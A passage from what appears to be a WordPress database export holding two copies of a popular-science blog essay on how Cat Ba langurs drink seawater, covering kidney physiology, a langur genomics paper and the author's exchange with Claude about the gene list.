unique ability to drink salt water\"/></a><figcaption class=\"wp-element-caption\">The Cat Ba langur. They prefer to dip their tails in seawater and suck on their tails, but they sometimes just lean down and drink sips.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Physiologically, this is a very surprising thing for a mammal to be able to do. Few mammals can survive for extended periods of time without freshwater. Even fewer mammals can drink seawater, and, outside of the Cat Ba langur and the Bactrian camel, those that can are all marine mammals<a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-2-151663579\">2</a>. And while all marine birds and reptiles can drink seawater, they rely on special organs to excrete salt, which mammals like the Cat Ba langur lack. So, just how does the Cat Ba langur drink seawater?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before we can get into that, let’s talk about what would happen if you, dear reader, would try to do the same (or, for that matter, if a misplaced Francois langur would). A normal mouthful of seawater is about 15 mL, and contains about half a gram of salt, or about triple the amount of a personal sized bag of Lays potato chips. This is an unpleasant amount of salt, and it would burn as it went down, as anyone who’s swallowed a mouthful of seawater would know.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This seawater would make its way down your esophagus to your stomach to your small intestine. Along the way, it’d trigger various alarms in your system, as it’d contain about triple the sodium concentration of your stomach or small intestine. If you were really dehydrated or swallowed a full, cheeks bulging mouthful, it’d probably trigger vomiting, as this mouthful of seawater would contain enough sodium to significantly alter the sodium content of your stomach, messing with the osmotic balance and causing water to rush in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Assuming you didn’t vomit, this seawater would start to be processed from your small intestine in minutes, as your body would quickly work to maintain a normal osmotic balance. About 98% of the sodium would make its way from your small intestine to your bloodstream, and from there to your interstitial and intracellular fluid. Once again, though, your body would notice the excess sodium concentration, as too much sodium surrounding cells causes water to rush out of them. Before that could happen, your body would get rid of that excess sodium.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!s6NX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15d93c27-d160-45c4-99e4-2cb30beef648_2044x1890.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!s6NX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15d93c27-d160-45c4-99e4-2cb30beef648_2044x1890.jpeg\" alt=\"Kidney and nephron - Labeled - Media Asset - NIDDK\" title=\"Kidney and nephron - Labeled - Media Asset - NIDDK\"/></a><figcaption class=\"wp-element-caption\">Pretty good diagram. Follow the unfiltered blood arrow to understand how this process works.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It does this primarily through excretion through the kidneys in the form of urine. Your kidneys, if you’re unfamiliar, work through the process of filtration, reabsorption, secretion, and excretion. Going through these steps one-by-one:<br><br><strong>Filtration:&nbsp;</strong>filtration is the first step. It’s pretty straightforward: your blood is forced through a membrane, which filters out all large parts of the blood that shouldn’t be peed out, namely proteins and blood cells. What’s left is ultrafiltrate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Reabsorption:&nbsp;</strong>next is reabsorption. This is where the rest of what shouldn’t be peed out is reabsorbed back into the bloodstream. This includes glucose, amino acids, salt, and water. This is a much more fine-tunable step than filtration. All proteins and blood cells are supposed to be filtered out of your urine, which is why protein or blood in your urine is always a bad thing. Not all salt, water, glucose, or amino acids are supposed to be filtered out of your urine, although glucose or amino acids in your urine is a sign of a problem further upstream (e.g. diabetes).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This process is fine-tuned by vasopressin, or ADH. Increased levels of ADH causes three effects:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Insertion of aquaporins into the tubules of the kidney. Aquaporins are electrically charged channels that let water molecules through single file, but don’t let other ions through.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Increased levels of urea transporters, which, as the name suggests, removes urea, a nitrogen compound.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Increased reabsorption of sodium.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is harder than it sounds, though. If you think about your osmotic gradient, you’ll quickly realize that, as soon as you remove water from the ultrafiltrate, you’re going to be left with a hyperconcentrated solution. Neither sodium nor urea is going to want to leave. In fact, water is going to want to rush in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The key here is the&nbsp;<em>countercurrent multiplication</em>. As the ultrafiltrate moves along the kidney’s tubules and becomes more concentrated, the walls of the kidney become impervious to water, so it’s difficult for any more water to come in or out. Simultaneously, sodium, chloride, and potassium are pumped into the membrane outside of the kidney, creating a more concentrated solution outside of the loop of Henle, as it’s called, than inside. This makes sodium want to exit across the membrane.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And now you see the rub. This process works really well if it’s easy to make the interstitial fluid saltier than the concentrated ultrafiltrate. But if the ultrafiltrate is too salty before it’s even concentrated (i.e. if you’ve been drinking seawater), it makes this process harder to carry out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We’ll get back to that in a sec. Just to finish this off, the kidneys also carry out&nbsp;<strong>secretion</strong>, or secreting the very hormones that regulate them, and&nbsp;<strong>excretion</strong>, or finally getting rid of the urine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!-y95!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3952c88b-dccd-4795-852d-9a54747726cd_1440x880.bin\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!-y95!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3952c88b-dccd-4795-852d-9a54747726cd_1440x880.bin\" alt=\"The Loop of Henle Revision notes | A-Level Biology AQA | Cognito\" title=\"The Loop of Henle Revision notes | A-Level Biology AQA | Cognito\"/></a><figcaption class=\"wp-element-caption\">Simplified diagram which doesn’t show the outside of the loop. Note that the weird purple symbol shows the concentration of water, which goes down as the water decreases.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, now that we’ve covered the basics of the kidney, I think you can see why you, as a human or a Francois langur would have trouble living the lifestyle of the Cat Ba langur. The lack of regular supply of water is hard enough. Every animal needs water. But, this can be solved by just getting really good at recycling water, like pretty much every desert creature does. This can be done by simply extending the loop of Henle to create ultra-concentrated filtrate and really draw almost all possible water out of the urine before excreting it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But drinking salt water seems way harder. There’s a reason why almost no animals do it, even many marine mammals. How do the Cat Ba langurs accomplish it?<br><br>There are clues. I came across&nbsp;<a href=\"https://www.nature.com/articles/s41467-024-52811-7\">a paper</a>&nbsp;recently (actually the inspiration for this essay) that explored the genomic differences between the Cat Ba langur and the Francois langur. The most important ones they found were in calcium signaling, calcium ion binding, and sodium transport handling.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The sodium transport makes sense, but the calcium handling stuff is stranger. The paper itself suggests it has to do with the limestone cliffs that the Cat Ba langurs live on, but the Francois langur lives on those exact sort of cliffs on the mainland. Plus, just living on calcium cliffs doesn’t mean you’re ingesting calcium that often.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I decided to take a different route in exploring this. I gave Claude the list of genes that were changed, without giving Claude any clues on what the species was. I wanted its unbiased opinion on whether it thought these changes were sufficient to explain the Cat Ba’s extraordinary lifestyle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note: I’ve paywalled past here as an experiment to see if people will pay for my content. There’s really only about 5 paragraphs left, which are about using Claude to speculate about this adaptation.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With just the calcium genes, Claude guessed that it had to do with muscular control in an extreme environment. Once I added in the sodium transport genes, Claude guessed that it was a whale or dolphin, who needed to maintain muscular control under significant osmotic pressure. Claude did not assume, though, that this organism could drink salt water, but instead suggested that it got its water entirely from food and was very efficient at recycling, like the average marine mammal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With additional prompting (including information that these adaptations came from a terrestrial species that can drink saltwater), Claude assumed it was a Bactrian camel, and gave a pretty good explanation for its ability to drink salt water<a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-3-151663579\">3</a>. Eventually, I told Claude that it was, in fact, a Cat Ba langur, which Claude was delighted about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The thing that I find most interesting about this little experiment is how Claude assumed that first I was discussing a whale or dolphin. Both whales and dolphins are descended from terrestrial mammals that returned to the sea. They had to make the exact same evolutionary transition that Cat Ba langurs did. Some whales even drink seawater, just like the Cat Ba langurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This suggests that this evolution might be convergent. I always find the idea that there are dramatic metabolic changes<a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-4-151663579\">4</a>&nbsp;hidden with our genome fascinating, especially the idea that these huge phenotypical changes can be rapidly unlocked with small genotypic variation. Langurs apparently unlocked the ability to drink seawater in a timespan that could have been as little as 12,000 years. Could humans do the same? Desert humans already have s<a href=\"https://www.cell.com/trends/ecology-evolution/fulltext/S0169-5347(21)00074-4\">ome genomic differences from non desert humans</a>.<br><br>How far could we push those genomic differences and how fast? And, most importantly, what triggers them? These are the questions that fascinate me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-anchor-1-151663579\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An exception is the Chacma baboon, an African baboon who has significant populations on the edges of the desert. One tribe of Chacma baboons&nbsp;<a href=\"https://www.newscientist.com/article/mg12917584-800-science-how-baboons-survive-in-worlds-worst-desert/\">actually lives in a proper desert</a>, but their lives sound miserable. Their infant mortality reaches 100% some years, and during the dry season they become almost completely inactive. According to the article, they’re probably not so much adapted to this condition as they are stuck there by two impassable stretches of complete desert, and this particular tribe might already be extinct. The article is from 30 years ago.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-anchor-2-151663579\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An important distinction here: all marine mammals can survive without freshwater by getting water from their food. Only some of those mammals can also get some water needs met by seawater, including&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/11083522/\">harp seals and hooded seals</a>&nbsp;and&nbsp;<a href=\"https://baleinesendirect.org/en/do-whales-drink-salt-water/#:~:text=Under%20certain%20nutritional%20conditions%20in,seem%20to%20never%20do%20so.\">some types of pilot whales</a>. This phenomenon isn’t very well studied, but I get the sense that this is something that these seals and other mammals do as a supplement to the water they get from their food, and it makes up a minority of their total water intake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-anchor-3-151663579\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve put Claude’s attempt at an explanation down here because it’s long:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, when the camel drinks saltwater, the specialized sodium/glucose cotransporters (SLC5A1/2) in the intestine likely help control the initial absorption of water and salt, preventing osmotic diarrhea that would occur in most mammals drinking seawater. The multiple bicarbonate transporters (SLC4 family) suggest they can carefully regulate blood pH despite the salt load.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The key to processing the saltwater likely lies in extraordinarily efficient kidneys. The modified ion channels and transporters (SCN5A, SCNN1D, multiple SLC genes) probably allow the kidneys to create an exceptionally strong concentration gradient in the renal medulla. This would permit the production of urine that\'s more concentrated than seawater - crucial for net water gain from salty water.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The modified calcium signaling and smooth muscle regulation genes (CACNA1B/C, MYLK family) likely allow precise control of blood flow to the kidneys and fine regulation of the blood vessels in the renal medulla. This would maintain the crucial concentration gradient needed for water reabsorption even under high salt loads.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The robust epithelial barrier genes (collagens, EPPK1, PKP1) suggest the kidney tissues are specially reinforced to handle these extreme concentration gradients without damage. Meanwhile, the various sodium and ion channels enable careful control of salt reabsorption and excretion throughout the nephron.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-anchor-4-151663579\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like becoming<a href=\"https://trevorklee.substack.com/p/is-longevity-a-choice-how-about-obesity\">&nbsp;an obese, long-lived cavefish</a>.</p>\n<!-- /wp:paragraph -->','If langurs can drink seawater, can humans do so as well?','','publish','closed','closed','','if-langurs-can-drink-seawater-can-humans-do-so-as-well','','','2025-07-03 19:30:17','2025-07-03 19:30:17','',0,'https://trevorklee.com/?page_id=498',0,'page','',0),
(499,1,'2025-07-03 19:30:17','2025-07-03 19:30:17','<!-- wp:paragraph -->\n<p>Somewhere around 500,000 years ago, and possibly as recently as 12,000 years ago, Cat Ba langurs, a long tailed, leaf-eating primate, separated from Francois’ langur as a species. This probably had something to do with the fact that Cat Ba langurs found themselves on an isolated island (Cat Ba Island, unsurprisingly) off the coast of Northern Vietnam, separated from the mainland Francois’ langur by 15 miles of water.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are advantages and disadvantages to living on Cat Ba Island, if you’re a Cat Ba langur. The advantage is that it has the limestone cliffs and caves that you’re used to, as well as the leaves and vegetation that you’re accustomed to eating. It also has fewer predators and less competition for resources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The disadvantage is why it has less competition for resources: it has almost no water. While it is in a tropical climate, the limestone doesn’t hold the water well, and rainwater quickly drains away. During the dry season, there are no rivers, streams, or ponds whatsoever. For a primate, these are some tricky conditions. There’s a reason why there are almost no primates in deserts<a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-1-151663579\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Cat Ba langur, amazingly enough, has adapted to these harsh conditions. It gets the water it needs from the vegetation it eats, despite the fact that they’re covered in salty spray. It also occasionally drinks mouthfuls of straight seawater.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!6U83!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff566bad6-a8ab-4bf0-8547-4fc50b639c91_2400x1597.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!6U83!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff566bad6-a8ab-4bf0-8547-4fc50b639c91_2400x1597.jpeg\" alt=\"Study reveals Cat Ba langurs\' unique ability to drink salt water\" title=\"Study reveals Cat Ba langurs\' unique ability to drink salt water\"/></a><figcaption class=\"wp-element-caption\">The Cat Ba langur. They prefer to dip their tails in seawater and suck on their tails, but they sometimes just lean down and drink sips.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Physiologically, this is a very surprising thing for a mammal to be able to do. Few mammals can survive for extended periods of time without freshwater. Even fewer mammals can drink seawater, and, outside of the Cat Ba langur and the Bactrian camel, those that can are all marine mammals<a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-2-151663579\">2</a>. And while all marine birds and reptiles can drink seawater, they rely on special organs to excrete salt, which mammals like the Cat Ba langur lack. So, just how does the Cat Ba langur drink seawater?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before we can get into that, let’s talk about what would happen if you, dear reader, would try to do the same (or, for that matter, if a misplaced Francois langur would). A normal mouthful of seawater is about 15 mL, and contains about half a gram of salt, or about triple the amount of a personal sized bag of Lays potato chips. This is an unpleasant amount of salt, and it would burn as it went down, as anyone who’s swallowed a mouthful of seawater would know.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This seawater would make its way down your esophagus to your stomach to your small intestine. Along the way, it’d trigger various alarms in your system, as it’d contain about triple the sodium concentration of your stomach or small intestine. If you were really dehydrated or swallowed a full, cheeks bulging mouthful, it’d probably trigger vomiting, as this mouthful of seawater would contain enough sodium to significantly alter the sodium content of your stomach, messing with the osmotic balance and causing water to rush in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Assuming you didn’t vomit, this seawater would start to be processed from your small intestine in minutes, as your body would quickly work to maintain a normal osmotic balance. About 98% of the sodium would make its way from your small intestine to your bloodstream, and from there to your interstitial and intracellular fluid. Once again, though, your body would notice the excess sodium concentration, as too much sodium surrounding cells causes water to rush out of them. Before that could happen, your body would get rid of that excess sodium.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!s6NX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15d93c27-d160-45c4-99e4-2cb30beef648_2044x1890.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!s6NX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15d93c27-d160-45c4-99e4-2cb30beef648_2044x1890.jpeg\" alt=\"Kidney and nephron - Labeled - Media Asset - NIDDK\" title=\"Kidney and nephron - Labeled - Media Asset - NIDDK\"/></a><figcaption class=\"wp-element-caption\">Pretty good diagram. Follow the unfiltered blood arrow to understand how this process works.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It does this primarily through excretion through the kidneys in the form of urine. Your kidneys, if you’re unfamiliar, work through the process of filtration, reabsorption, secretion, and excretion. Going through these steps one-by-one:<br><br><strong>Filtration:&nbsp;</strong>filtration is the first step. It’s pretty straightforward: your blood is forced through a membrane, which filters out all large parts of the blood that shouldn’t be peed out, namely proteins and blood cells. What’s left is ultrafiltrate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Reabsorption:&nbsp;</strong>next is reabsorption. This is where the rest of what shouldn’t be peed out is reabsorbed back into the bloodstream. This includes glucose, amino acids, salt, and water. This is a much more fine-tunable step than filtration. All proteins and blood cells are supposed to be filtered out of your urine, which is why protein or blood in your urine is always a bad thing. Not all salt, water, glucose, or amino acids are supposed to be filtered out of your urine, although glucose or amino acids in your urine is a sign of a problem further upstream (e.g. diabetes).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This process is fine-tuned by vasopressin, or ADH. Increased levels of ADH causes three effects:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Insertion of aquaporins into the tubules of the kidney. Aquaporins are electrically charged channels that let water molecules through single file, but don’t let other ions through.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Increased levels of urea transporters, which, as the name suggests, removes urea, a nitrogen compound.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Increased reabsorption of sodium.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is harder than it sounds, though. If you think about your osmotic gradient, you’ll quickly realize that, as soon as you remove water from the ultrafiltrate, you’re going to be left with a hyperconcentrated solution. Neither sodium nor urea is going to want to leave. In fact, water is going to want to rush in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The key here is the&nbsp;<em>countercurrent multiplication</em>. As the ultrafiltrate moves along the kidney’s tubules and becomes more concentrated, the walls of the kidney become impervious to water, so it’s difficult for any more water to come in or out. Simultaneously, sodium, chloride, and potassium are pumped into the membrane outside of the kidney, creating a more concentrated solution outside of the loop of Henle, as it’s called, than inside. This makes sodium want to exit across the membrane.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And now you see the rub. This process works really well if it’s easy to make the interstitial fluid saltier than the concentrated ultrafiltrate. But if the ultrafiltrate is too salty before it’s even concentrated (i.e. if you’ve been drinking seawater), it makes this process harder to carry out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We’ll get back to that in a sec. Just to finish this off, the kidneys also carry out&nbsp;<strong>secretion</strong>, or secreting the very hormones that regulate them, and&nbsp;<strong>excretion</strong>, or finally getting rid of the urine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!-y95!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3952c88b-dccd-4795-852d-9a54747726cd_1440x880.bin\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!-y95!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3952c88b-dccd-4795-852d-9a54747726cd_1440x880.bin\" alt=\"The Loop of Henle Revision notes | A-Level Biology AQA | Cognito\" title=\"The Loop of Henle Revision notes | A-Level Biology AQA | Cognito\"/></a><figcaption class=\"wp-element-caption\">Simplified diagram which doesn’t show the outside of the loop. Note that the weird purple symbol shows the concentration of water, which goes down as the water decreases.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, now that we’ve covered the basics of the kidney, I think you can see why you, as a human or a Francois langur would have trouble living the lifestyle of the Cat Ba langur. The lack of regular supply of water is hard enough. Every animal needs water. But, this can be solved by just getting really good at recycling water, like pretty much every desert creature does. This can be done by simply extending the loop of Henle to create ultra-concentrated filtrate and really draw almost all possible water out of the urine before excreting it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But drinking salt water seems way harder. There’s a reason why almost no animals do it, even many marine mammals. How do the Cat Ba langurs accomplish it?<br><br>There are clues. I came across&nbsp;<a href=\"https://www.nature.com/articles/s41467-024-52811-7\">a paper</a>&nbsp;recently (actually the inspiration for this essay) that explored the genomic differences between the Cat Ba langur and the Francois langur. The most important ones they found were in calcium signaling, calcium ion binding, and sodium transport handling.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The sodium transport makes sense, but the calcium handling stuff is stranger. The paper itself suggests it has to do with the limestone cliffs that the Cat Ba langurs live on, but the Francois langur lives on those exact sort of cliffs on the mainland. Plus, just living on calcium cliffs doesn’t mean you’re ingesting calcium that often.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I decided to take a different route in exploring this. I gave Claude the list of genes that were changed, without giving Claude any clues on what the species was. I wanted its unbiased opinion on whether it thought these changes were sufficient to explain the Cat Ba’s extraordinary lifestyle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note: I’ve paywalled past here as an experiment to see if people will pay for my content. There’s really only about 5 paragraphs left, which are about using Claude to speculate about this adaptation.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With just the calcium genes, Claude guessed that it had to do with muscular control in an extreme environment. Once I added in the sodium transport genes, Claude guessed that it was a whale or dolphin, who needed to maintain muscular control under significant osmotic pressure. Claude did not assume, though, that this organism could drink salt water, but instead suggested that it got its water entirely from food and was very efficient at recycling, like the average marine mammal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With additional prompting (including information that these adaptations came from a terrestrial species that can drink saltwater), Claude assumed it was a Bactrian camel, and gave a pretty good explanation for its ability to drink salt water<a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-3-151663579\">3</a>. Eventually, I told Claude that it was, in fact, a Cat Ba langur, which Claude was delighted about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The thing that I find most interesting about this little experiment is how Claude assumed that first I was discussing a whale or dolphin. Both whales and dolphins are descended from terrestrial mammals that returned to the sea. They had to make the exact same evolutionary transition that Cat Ba langurs did. Some whales even drink seawater, just like the Cat Ba langurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This suggests that this evolution might be convergent. I always find the idea that there are dramatic metabolic changes<a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-4-151663579\">4</a>&nbsp;hidden with our genome fascinating, especially the idea that these huge phenotypical changes can be rapidly unlocked with small genotypic variation. Langurs apparently unlocked the ability to drink seawater in a timespan that could have been as little as 12,000 years. Could humans do the same? Desert humans already have s<a href=\"https://www.cell.com/trends/ecology-evolution/fulltext/S0169-5347(21)00074-4\">ome genomic differences from non desert humans</a>.<br><br>How far could we push those genomic differences and how fast? And, most importantly, what triggers them? These are the questions that fascinate me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-anchor-1-151663579\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An exception is the Chacma baboon, an African baboon who has significant populations on the edges of the desert. One tribe of Chacma baboons&nbsp;<a href=\"https://www.newscientist.com/article/mg12917584-800-science-how-baboons-survive-in-worlds-worst-desert/\">actually lives in a proper desert</a>, but their lives sound miserable. Their infant mortality reaches 100% some years, and during the dry season they become almost completely inactive. According to the article, they’re probably not so much adapted to this condition as they are stuck there by two impassable stretches of complete desert, and this particular tribe might already be extinct. The article is from 30 years ago.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-anchor-2-151663579\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An important distinction here: all marine mammals can survive without freshwater by getting water from their food. Only some of those mammals can also get some water needs met by seawater, including&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/11083522/\">harp seals and hooded seals</a>&nbsp;and&nbsp;<a href=\"https://baleinesendirect.org/en/do-whales-drink-salt-water/#:~:text=Under%20certain%20nutritional%20conditions%20in,seem%20to%20never%20do%20so.\">some types of pilot whales</a>. This phenomenon isn’t very well studied, but I get the sense that this is something that these seals and other mammals do as a supplement to the water they get from their food, and it makes up a minority of their total water intake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-anchor-3-151663579\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve put Claude’s attempt at an explanation down here because it’s long:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, when the camel drinks saltwater, the specialized sodium/glucose cotransporters (SLC5A1/2) in the intestine likely help control the initial absorption of water and salt, preventing osmotic diarrhea that would occur in most mammals drinking seawater. The multiple bicarbonate transporters (SLC4 family) suggest they can carefully regulate blood pH despite the salt load.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The key to processing the saltwater likely lies in extraordinarily efficient kidneys. The modified ion channels and transporters (SCN5A, SCNN1D, multiple SLC genes) probably allow the kidneys to create an exceptionally strong concentration gradient in the renal medulla. This would permit the production of urine that\'s more concentrated than seawater - crucial for net water gain from salty water.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The modified calcium signaling and smooth muscle regulation genes (CACNA1B/C, MYLK family) likely allow precise control of blood flow to the kidneys and fine regulation of the blood vessels in the renal medulla. This would maintain the crucial concentration gradient needed for water reabsorption even under high salt loads.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The robust epithelial barrier genes (collagens, EPPK1, PKP1) suggest the kidney tissues are specially reinforced to handle these extreme concentration gradients without damage. Meanwhile, the various sodium and ion channels enable careful control of salt reabsorption and excretion throughout the nephron.</p>\n<!-- 